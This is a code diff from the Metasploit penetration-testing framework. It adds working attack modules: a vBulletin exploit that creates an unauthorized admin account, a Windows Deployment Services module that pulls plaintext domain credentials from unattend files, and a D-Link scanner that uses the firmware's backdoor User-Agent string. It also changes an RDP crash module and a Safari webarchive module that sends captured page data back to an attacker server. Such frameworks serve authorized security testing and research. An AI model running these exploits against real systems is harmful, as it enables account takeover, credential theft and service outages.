VAR_NAME_IMDC = "IMDC"
|
||||
|
||||
VAR_TYPE_LOOKUP = {
|
||||
VAR_NAME_ARCHITECTURE => :ULONG,
|
||||
VAR_NAME_CLIENT_GUID => :WSTRING,
|
||||
VAR_NAME_CLIENT_MAC => :WSTRING,
|
||||
VAR_NAME_VERSION => :ULONG,
|
||||
VAR_NAME_MESSAGE_TYPE => :ULONG,
|
||||
VAR_NAME_TRANSACTION_ID => :WSTRING,
|
||||
VAR_NAME_FLAGS => :ULONG,
|
||||
VAR_NAME_CC => :ULONG,
|
||||
VAR_NAME_IMDC => :ULONG
|
||||
}
|
||||
|
||||
CC_FLAGS = {
|
||||
:V2 => 1,
|
||||
:VHDX => 2
|
||||
}
|
||||
|
||||
DOMAIN_JOIN_FLAGS = {
|
||||
:JOIN_DOMAIN => 1,
|
||||
:ACCOUNT_EXISTS => 2,
|
||||
:PRESTAGE_USING_MAC => 3,
|
||||
:RESET_BOOT_PROGRAM => 256
|
||||
}
|
||||
|
||||
ARCHITECTURE = {
|
||||
:X64 => 9,
|
||||
:X86 => 0,
|
||||
:IA64 => 6,
|
||||
:ARM => 5
|
||||
}
|
||||
|
||||
PACKET_TYPE = {
|
||||
:REQUEST => 1,
|
||||
:REPLY => 2
|
||||
}
|
||||
|
||||
OPCODE = {
|
||||
:IMG_ENUMERATE => 2,
|
||||
:LOG_INIT => 3,
|
||||
:LOG_MSG => 4,
|
||||
:GET_CLIENT_UNATTEND => 5,
|
||||
:GET_UNATTEND_VARIABLES => 6,
|
||||
:GET_DOMAIN_JOIN_INFORMATION => 7,
|
||||
:RESET_BOOT_PROGRAM => 8,
|
||||
:GET_MACHINE_DRIVER_PACKAGES => 200
|
||||
}
|
||||
|
||||
BASE_TYPE = {
|
||||
:BYTE => 0x0001,
|
||||
:USHORT => 0x0002,
|
||||
:ULONG => 0x0004,
|
||||
:ULONG64 => 0x0008,
|
||||
:STRING => 0x0010,
|
||||
:WSTRING => 0x0020,
|
||||
:BLOB => 0x0040
|
||||
}
|
||||
|
||||
TYPE_MODIFIER = {
|
||||
:NONE => 0x0000,
|
||||
:ARRAY => 0x1000
|
||||
}
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,94 @@
|
||||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module DCERPC
|
||||
module WDSCP
|
||||
class Packet
|
||||
|
||||
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||
|
||||
def initialize(packet_type, opcode)
|
||||
if opcode.nil? || packet_type.nil?
|
||||
raise(ArgumentError, "Packet arguments cannot be nil")
|
||||
end
|
||||
|
||||
@variables = []
|
||||
@packet_type = WDS_CONST::PACKET_TYPE[packet_type]
|
||||
@opcode = WDS_CONST::OPCODE[opcode]
|
||||
end
|
||||
|
||||
def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
|
||||
padding = 0
|
||||
vt = WDS_CONST::VAR_TYPE_LOOKUP[name]
|
||||
value_type = WDS_CONST::BASE_TYPE[vt]
|
||||
name = Rex::Text.to_unicode(name).unpack('H*')[0]
|
||||
|
||||
# Terminate strings with null char
|
||||
if vt == :STRING
|
||||
value << "\x00"
|
||||
elsif vt == :WSTRING
|
||||
value = Rex::Text.to_unicode(value)
|
||||
value << "\x00\x00"
|
||||
end
|
||||
|
||||
value_length ||= value.length
|
||||
# Variable block total size should be evenly divisible by 16.
|
||||
len = 16 * (1 + (value_length/16))
|
||||
@variables <<
|
||||
[ name,
|
||||
padding,
|
||||
value_type,
|
||||
type_mod,
|
||||
value_length,
|
||||
array_size,
|
||||
value
|
||||
].pack('H132vvvVVa%i' % len)
|
||||
end
|
||||
|
||||
def create
|
||||
packet = []
|
||||
var_count = @variables.count
|
||||
|
||||
packet_size = 0
|
||||
@variables.each do |var|
|
||||
packet_size += var.length
|
||||
end
|
||||
|
||||
# variables + operation
|
||||
packet_size += 16
|
||||
|
||||
# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
|
||||
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
|
||||
packet << [(packet_size+40)].pack('V') * 2
|
||||
packet << create_endpoint_header(packet_size)
|
||||
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
|
||||
packet.concat(@variables)
|
||||
|
||||
return packet.join
|
||||
end
|
||||
|
||||
def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
|
||||
return [
|
||||
packet_size, # PacketSize
|
||||
256, # Version
|
||||
packet_type, # Packet_Type
|
||||
0, # Padding
|
||||
opcode, # Opcode
|
||||
var_count, # Variable Count
|
||||
].pack('VvCCVV')
|
||||
end
|
||||
|
||||
def create_endpoint_header(packet_size)
|
||||
return [
|
||||
40, # Header_Size
|
||||
256, # Version
|
||||
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
|
||||
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
|
||||
"\x00"*16, # Reserved
|
||||
].pack('vvVa16a16')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -131,8 +131,8 @@ class Rex::Socket::Comm::Local
|
||||
# Force IPv6 mode for non-connected UDP sockets
|
||||
if (type == ::Socket::SOCK_DGRAM and not param.peerhost)
|
||||
# FreeBSD allows IPv6 socket creation, but throws an error on sendto()
|
||||
|
||||
if (not Rex::Compat.is_freebsd())
|
||||
# Windows 7 SP1 and newer also fail to sendto with IPv6 udp sockets
|
||||
unless Rex::Compat.is_freebsd or Rex::Compat.is_windows
|
||||
usev6 = true
|
||||
end
|
||||
end
|
||||
|
||||
+4
-14
@@ -61,22 +61,12 @@ class Event
|
||||
# Waits for the event to become signaled. Timeout is measured in
|
||||
# seconds. Raises TimeoutError if the condition does not become signaled.
|
||||
#
|
||||
|
||||
begin
|
||||
# XXX: we need to replace this code
|
||||
# continuations slow down YARV
|
||||
require "continuation" if not defined? callcc
|
||||
rescue ::LoadError
|
||||
end
|
||||
|
||||
def wait(t = Infinite)
|
||||
callcc { |ctx|
|
||||
self.mutex.synchronize {
|
||||
ctx.call if (self.state == true)
|
||||
self.mutex.synchronize {
|
||||
break if (self.state == true)
|
||||
|
||||
Timeout.timeout(t) {
|
||||
self.cond.wait(self.mutex)
|
||||
}
|
||||
Timeout.timeout(t) {
|
||||
self.cond.wait(self.mutex)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -45,10 +45,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
soapenvenc='http://schemas.xmlsoap.org/soap/encoding/'
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'vBulletin Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module abuses the "install/upgrade.php" component on vBulletin 4.1+ and 4.5+ to
|
||||
create a new administrator account, as exploited in the wild on October 2013. This module
|
||||
has been tested successfully on vBulletin 4.1.5 and 4.1.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discoverer? found in the wild
|
||||
'juan vazquez' #metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ],
|
||||
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 09 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The vbulletin URI", '/']),
|
||||
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
|
||||
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
|
||||
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore["USERNAME"]
|
||||
end
|
||||
|
||||
def pass
|
||||
datastore["PASSWORD"]
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if user == pass
|
||||
print_error("#{peer} - Please select a password different than the username")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Trying a new admin vBulletin account...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"),
|
||||
'method' =>'POST',
|
||||
'vars_post' => {
|
||||
"version" => "install",
|
||||
"response" => "true",
|
||||
"checktable" => "false",
|
||||
"firstrun" => "false",
|
||||
"step" => "7",
|
||||
"startat" => "0",
|
||||
"only" => "false",
|
||||
"options[skiptemplatemerge]" => "0",
|
||||
"reponse" => "yes",
|
||||
"htmlsubmit" => "1",
|
||||
"htmldata[username]" => user,
|
||||
"htmldata[password]" => pass,
|
||||
"htmldata[confirmpassword]" => pass,
|
||||
"htmldata[email]" => datastore["EMAIL"]
|
||||
},
|
||||
'headers' => {
|
||||
"X-Requested-With" => "XMLHttpRequest"
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /Administrator account created/
|
||||
print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'http',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:proof => res.body
|
||||
)
|
||||
else
|
||||
print_error("#{peer} - Admin account creation failed")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
register_autofilter_ports([ 50013 ])
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# Check version information to confirm Win/Lin
|
||||
|
||||
|
||||
@@ -38,14 +38,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run
|
||||
record = "<RECORD>"
|
||||
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
|
||||
|
||||
@@ -54,6 +54,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def is_rdp_up
|
||||
begin
|
||||
connect
|
||||
disconnect
|
||||
return true
|
||||
rescue Rex::ConnectionRefused
|
||||
return false
|
||||
@@ -138,15 +139,24 @@ class Metasploit3 < Msf::Auxiliary
|
||||
"\x02\xF0\x80" + # X.224
|
||||
"\x21\x80" # T.125
|
||||
|
||||
unless is_rdp_up
|
||||
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
|
||||
return
|
||||
end
|
||||
|
||||
connect
|
||||
print_status("#{rhost}:#{rport} - Sending #{self.name}")
|
||||
sock.put(pkt)
|
||||
select(nil, nil, nil, 3)
|
||||
Rex.sleep(3)
|
||||
disconnect
|
||||
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")
|
||||
|
||||
print_status("#{rhost}:#{rport} - Checking RDP status...")
|
||||
if not is_rdp_up
|
||||
|
||||
if is_rdp_up
|
||||
print_error("#{rhost}:#{rport} - RDP Service Unreachable")
|
||||
return
|
||||
else
|
||||
print_good("#{rhost}:#{rport} seems down")
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
@@ -155,9 +165,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
:refs => self.references,
|
||||
:info => "Module #{self.fullname} successfully crashed the target system via RDP"
|
||||
})
|
||||
else
|
||||
print_status("#{rhost}:#{rport} is still up")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS
|
||||
attr_accessor :scripts_to_poison
|
||||
@@ -177,17 +178,39 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
begin
|
||||
data = if request.body.size > 0
|
||||
data_str = if request.body.size > 0
|
||||
request.body
|
||||
else
|
||||
request.qstring['data']
|
||||
end
|
||||
data = JSON::parse(data || '')
|
||||
print_status "Received data: #{data}"
|
||||
rescue # json error, dismiss request & keep crit. server up
|
||||
data = JSON::parse(data_str || '')
|
||||
file = record_data(data, cli)
|
||||
send_response_html(cli, '')
|
||||
print_good "#{data_str.length} chars received and stored to #{file}"
|
||||
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
|
||||
print_error "Invalid JSON received: #{data_str}"
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Hash] data the data to store in the log
|
||||
# @return [String] filename where we are storing the data
|
||||
def record_data(data, cli)
|
||||
@client_cache ||= Hash.new({})
|
||||
@client_cache[cli.peerhost]['file'] ||= store_loot(
|
||||
"safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data"
|
||||
)
|
||||
file = @client_cache[cli.peerhost]['file']
|
||||
|
||||
@client_cache[cli.peerhost]['data'] ||= []
|
||||
@client_cache[cli.peerhost]['data'].push(data)
|
||||
data_str = JSON.generate(@client_cache[cli.peerhost]['data'])
|
||||
|
||||
File.write(file, data_str)
|
||||
|
||||
file
|
||||
end
|
||||
|
||||
### ASSEMBLE THE WEBARCHIVE XML ###
|
||||
|
||||
# @return [String] contents of webarchive as an XML document
|
||||
@@ -531,9 +554,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
var sent = false;
|
||||
req.open('GET', '#{url}', true);
|
||||
req.onreadystatechange = function() {
|
||||
if (!sent) {
|
||||
sendData('response_headers', req.getAllResponseHeaders());
|
||||
sendData('response_body', req.responseText);
|
||||
if (req.readyState==4 && !sent) {
|
||||
sendData('#{url}', {
|
||||
response_headers: req.getAllResponseHeaders(),
|
||||
response_body: req.responseText
|
||||
});
|
||||
sent = true;
|
||||
}
|
||||
};
|
||||
@@ -647,8 +672,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
%Q|
|
||||
window.sendData = function(key, val) {
|
||||
var data = {};
|
||||
if (key && val) data[key] = val;
|
||||
if (!val) data = key;
|
||||
data[key] = val;
|
||||
window.top.postMessage(JSON.stringify(data), "*")
|
||||
};
|
||||
|
|
||||
|
||||
@@ -50,10 +50,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{datastore['RHOST']}:#{datastore['RPORT']}"
|
||||
end
|
||||
|
||||
def fingerprint(response)
|
||||
|
||||
if(response.headers.has_key?('Server') )
|
||||
@@ -172,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
out, filename = fingerprint(res)
|
||||
print_status("#{peer} #{out}") if out
|
||||
|
||||
if(out =~ /Not Vulnerable/)
|
||||
if(out =~ /Not Vulnerable/)
|
||||
print_status("#{peer} isn't vulnerable to this attack")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -124,6 +124,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
query = @res.search(host, "A")
|
||||
if query
|
||||
query.answer.each do |rr|
|
||||
next unless rr.type == "A"
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "A"
|
||||
@@ -134,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
query1 = @res.search(host, "AAAA")
|
||||
if query1
|
||||
query1.answer.each do |rr|
|
||||
next unless rr.type == "AAAA"
|
||||
record = {}
|
||||
record[:host] = host
|
||||
record[:type] = "AAAA"
|
||||
@@ -189,6 +191,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
query = @res.query(target, "TXT")
|
||||
return results if not query
|
||||
query.answer.each do |rr|
|
||||
next unless rr.type == "TXT"
|
||||
record = {}
|
||||
record[:host] = target
|
||||
record[:text] = rr.txt
|
||||
|
||||
@@ -41,10 +41,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def execute_php_code(code, opts = {})
|
||||
param_name = Rex::Text.rand_text_alpha(6)
|
||||
padding = Rex::Text.rand_text_alpha(6)
|
||||
|
||||
@@ -47,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def get_domain_info(session)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/proto/dcerpc/wdscp'
|
||||
require 'rex/parser/unattend'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
|
||||
'Description' => %q{
|
||||
This module retrieves the client unattend file from Windows
|
||||
Deployment Services RPC service and parses out the stored credentials.
|
||||
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
|
||||
},
|
||||
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
|
||||
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5040),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
query_host(ip)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError => e
|
||||
print_error("#{ip}:#{rport} Connection Error: #{e}")
|
||||
ensure
|
||||
# Ensure socket is pulled down afterwards
|
||||
self.dcerpc.socket.close rescue nil
|
||||
self.dcerpc = nil
|
||||
self.handle = nil
|
||||
end
|
||||
end
|
||||
|
||||
def query_host(rhost)
|
||||
# Create a handler with our UUID and Transfer Syntax
|
||||
|
||||
self.handle = Rex::Proto::DCERPC::Handle.new(
|
||||
[
|
||||
WDS_CONST::WDSCP_RPC_UUID,
|
||||
'1.0',
|
||||
],
|
||||
'ncacn_ip_tcp',
|
||||
rhost,
|
||||
[datastore['RPORT']]
|
||||
)
|
||||
|
||||
print_status("Binding to #{handle} ...")
|
||||
|
||||
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
|
||||
vprint_good("Bound to #{handle}")
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:name => "dcerpc",
|
||||
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
|
||||
)
|
||||
|
||||
table = Rex::Ui::Text::Table.new({
|
||||
'Header' => 'Windows Deployment Services',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
|
||||
})
|
||||
|
||||
creds_found = false
|
||||
|
||||
WDS_CONST::ARCHITECTURE.each do |architecture|
|
||||
if architecture[0] == :ARM && !datastore['ENUM_ARM']
|
||||
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
|
||||
next
|
||||
end
|
||||
|
||||
begin
|
||||
result = request_client_unattend(architecture)
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
vprint_error(e.to_s)
|
||||
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless result.nil?
|
||||
loot_unattend(architecture[0], result)
|
||||
results = parse_client_unattend(result)
|
||||
|
||||
results.each do |result|
|
||||
unless result.empty?
|
||||
if result['username'] and result['password']
|
||||
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
|
||||
creds_found = true
|
||||
domain = ""
|
||||
domain = result['domain'] if result['domain']
|
||||
report_creds(domain, result['username'], result['password'])
|
||||
table << [architecture[0], result['type'], domain, result['username'], result['password']]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if creds_found
|
||||
print_line
|
||||
table.print
|
||||
print_line
|
||||
else
|
||||
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
|
||||
end
|
||||
end
|
||||
|
||||
def request_client_unattend(architecture)
|
||||
# Construct WDS Control Protocol Message
|
||||
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
|
||||
|
||||
guid = Rex::Text.rand_text_hex(32)
|
||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
|
||||
|
||||
# Not sure what this padding is for...
|
||||
mac = [0x30].pack('C') * 20
|
||||
mac << Rex::Text.rand_text_hex(12)
|
||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
|
||||
|
||||
arch = [architecture[1]].pack('C')
|
||||
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)
|
||||
|
||||
version = [1].pack('V')
|
||||
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)
|
||||
|
||||
wdsc_packet = packet.create
|
||||
|
||||
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
|
||||
response = dcerpc.call(0, wdsc_packet)
|
||||
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
vprint_status('Received response ...')
|
||||
data = dcerpc.last_response.stub_data
|
||||
|
||||
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
|
||||
op_error_code = data.unpack('v*')[19]
|
||||
if op_error_code == 0
|
||||
if data.length < 277
|
||||
vprint_error("No Unattend received for #{architecture[0]} architecture")
|
||||
return nil
|
||||
else
|
||||
vprint_status("Received #{architecture[0]} unattend file ...")
|
||||
return extract_unattend(data)
|
||||
end
|
||||
else
|
||||
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def extract_unattend(data)
|
||||
start = data.index('<?xml')
|
||||
finish = data.index('</unattend>')
|
||||
if start and finish
|
||||
finish += 10
|
||||
return data[start..finish]
|
||||
else
|
||||
print_error("Incomplete transmission or malformed unattend file.")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def parse_client_unattend(data)
|
||||
begin
|
||||
xml = REXML::Document.new(data)
|
||||
return Rex::Parser::Unattend.parse(xml).flatten
|
||||
rescue REXML::ParseException => e
|
||||
print_error("Invalid XML format")
|
||||
vprint_line(e.message)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def loot_unattend(archi, data)
|
||||
return if data.empty?
|
||||
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
|
||||
print_status("Raw version of #{archi} saved as: #{p}")
|
||||
end
|
||||
|
||||
def report_creds(domain, user, pass)
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => 4050,
|
||||
:sname => 'dcerpc',
|
||||
:proto => 'tcp',
|
||||
:source_id => nil,
|
||||
:source_type => "aux",
|
||||
:user => "#{domain}\\#{user}",
|
||||
:pass => pass)
|
||||
end
|
||||
end
|
||||
@@ -52,10 +52,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({
|
||||
|
||||
@@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(rhost)
|
||||
url = normalize_uri(datastore['URI'], '/index.php/members')
|
||||
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink User-Agent Backdoor Scanner',
|
||||
'Description' => %q{
|
||||
This module attempts to find DLink devices running Alphanetworks web interfaces affected
|
||||
by the backdoor found on the User-Agent header. This module has been tested successfully
|
||||
on a DIR-100 device with firmware version v1.13.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Heffner', # vulnerability discovery
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
|
||||
],
|
||||
# First documented in detail by Craig, but looks like it's been known
|
||||
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
|
||||
'DisclosureDate' => "Oct 12 2013"
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def is_alpha_web_server?
|
||||
begin
|
||||
res = send_request_cgi({'uri' => '/'})
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return false
|
||||
end
|
||||
|
||||
# Signatures:
|
||||
# * httpd-alphanetworks/2.23
|
||||
# * Alpha_webserv
|
||||
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
if is_alpha_web_server?
|
||||
vprint_good("#{ip} - Alphanetworks web server detected")
|
||||
else
|
||||
vprint_error("#{ip} - Alphanetworks web server doesn't detected")
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'agent' => 'xmlset_roodkcableoj28840ybtide'
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
|
||||
# DIR-100 device with firmware version v1.13
|
||||
# not sure if this matches on other devices
|
||||
# TODO: Testing on other devices
|
||||
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
|
||||
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def gen_blank_passwords(users, credentials)
|
||||
return credentials
|
||||
return credentials
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
@@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
|
||||
@@ -49,10 +49,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
